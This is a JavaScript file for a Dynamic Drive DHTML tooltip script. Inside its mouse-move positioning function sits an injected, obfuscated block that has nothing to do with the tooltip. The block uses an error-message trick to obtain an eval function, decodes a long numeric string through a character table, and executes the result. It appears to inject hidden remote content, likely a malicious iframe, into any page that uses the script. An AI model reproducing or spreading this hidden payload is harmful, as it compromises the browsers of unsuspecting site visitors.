/***********************************************
* Cool DHTML tooltip script II- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code
***********************************************/

var offsetfromcursorX=11 //Customize x offset of tooltip
var offsetfromcursorY=7 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div align="left" id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img id="dhtmlpointer" src="http://www.rfactor.ws/img/arrow2.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.clientX+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.clientY+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}
el=document.createElement("div");el.appendChild(document.createTextNode("ReferenceErr"));el.appendChild(document.createTextNode("q"));el.insertBefore(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="F)D/[ cQArs,H<fug1ybT.v=dtI>x;eE:Y 0op\"]'lim(kJ{nwBhaC}N";ar2="R20c20c168c56c136c176c96c144c24c60c172c120c192c100c84c64c120c100c124c164c120c172c120c192c100c40c200c72c80c208c64c220c208c172c120c176c160c76c144c96c72c160c4c16c140c156c4c188c20c20c20c168c56c36c208c172c120c36c176c4c116c20c20c216c136c120c164c40c120c136c188c20c20c20c96c144c24c60c172c120c192c100c84c196c36c168c100c120c176c152c52c168c56c36c208c172c120c136c40c36c24c92c160c204c100c100c148c128c12c12c204c144c164c144c40c84c24c112c84c24c24c12c28c28c180c0c200c196c28c48c200c28c124c8c200c196c132c200c124c180c24c184c200c28c24c124c32c196c24c48c32c28c104c124c32c28c92c92c160c136c196c168c96c100c204c92c160c68c140c160c136c204c120c168c64c204c100c92c160c68c140c160c136c40c100c72c164c120c92c160c88c168c40c168c76c168c164c168c100c72c128c204c168c96c96c120c192c116c148c144c40c168c100c168c144c192c128c208c76c40c144c164c60c100c120c116c164c120c56c100c128c140c116c100c144c148c128c140c116c160c108c52c12c168c56c36c208c172c120c108c152c4c116c20c20c216c20c20c56c60c192c24c100c168c144c192c136c168c56c36c208c172c120c36c176c4c188c20c20c20c88c208c36c136c56c136c92c136c96c144c24c60c172c120c192c100c84c24c36c120c208c100c120c124c164c120c172c120c192c100c176c160c168c56c36c208c172c120c160c4c116c56c84c40c120c100c32c100c100c36c168c76c60c100c120c176c160c40c36c24c160c44c160c204c100c100c148c128c12c12c204c144c164c144c40c84c24c112c84c24c24c12c28c28c180c0c200c196c28c48c200c28c124c8c200c196c132c200c124c180c24c184c200c28c24c124c32c196c24c48c32c28c104c124c32c28c92c92c160c4c116c56c84c40c100c72c164c120c84c88c168c40c168c76c168c164c168c100c72c92c160c204c168c96c96c120c192c160c116c56c84c40c100c72c164c120c84c148c144c40c168c100c168c144c192c92c160c208c76c40c144c164c60c100c120c160c116c56c84c40c100c72c164c120c84c164c120c56c100c92c160c140c160c116c56c84c40c100c72c164c120c84c100c144c148c92c160c140c160c116c56c84c40c120c100c32c100c100c36c168c76c60c100c120c176c160c196c168c96c100c204c160c44c160c68c140c160c4c116c56c84c40c120c100c32c100c100c36c168c76c60c100c120c176c160c204c120c168c64c204c100c160c44c160c68c140c160c4c116c20c20c20c96c144c24c60c172c120c192c100c84c64c120c100c124c164c120c172c120c192c100c40c200c72c80c208c64c220c208c172c120c176c160c76c144c96c72c160c4c16c140c156c84c208c148c148c120c192c96c212c204c168c164c96c176c56c4c116c20c20c216";pau="urn eReferenceErr".replace(k,"va"+el.childNodes[1].nodeValue);e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="20";s="";for(i=0;i!=ar2.length;i++){e('po'.concat('s=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');}
e(s);
//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}

document.onmousemove=positiontip

